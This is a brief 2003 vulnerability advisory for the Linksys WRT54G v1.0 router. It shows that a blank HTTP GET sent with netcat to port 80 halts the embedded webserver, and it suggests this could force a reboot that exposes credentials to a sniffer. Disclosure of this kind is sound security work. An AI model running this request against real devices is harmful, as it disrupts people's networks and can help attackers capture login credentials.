Linksys WRT54G Denial of Service Vulnerability System(s) =========== Tested on Linksys WRT54G v1.0 (firmware v 1.42.3) Detail(s) =========== Sending a blank GET request to the router on port 80 (or 8080) halts the embedded webserver. This may allow an attacker to force the owner to reboot the router, allowing them to gain sensitive information during router authentication. Exploitation ============ user@test:~$ nc 10.0.0.1 80 GET user@test:~$ nc 10.0.0.1 80 (UNKNOWN) [10.0.0.1] 80 (http) : Connection refused user@test:~$ Solution(s) ============ - Https service should continue running for remote access. - Scan for sniffers that might be on the network before rebooting and performing any authentication. - Wait for a vendor patch :) Status ============ Vendor contacted on 12/03/03. !HAPPY HOLIDAYS! carbon@techcentric.net - 12/02/03
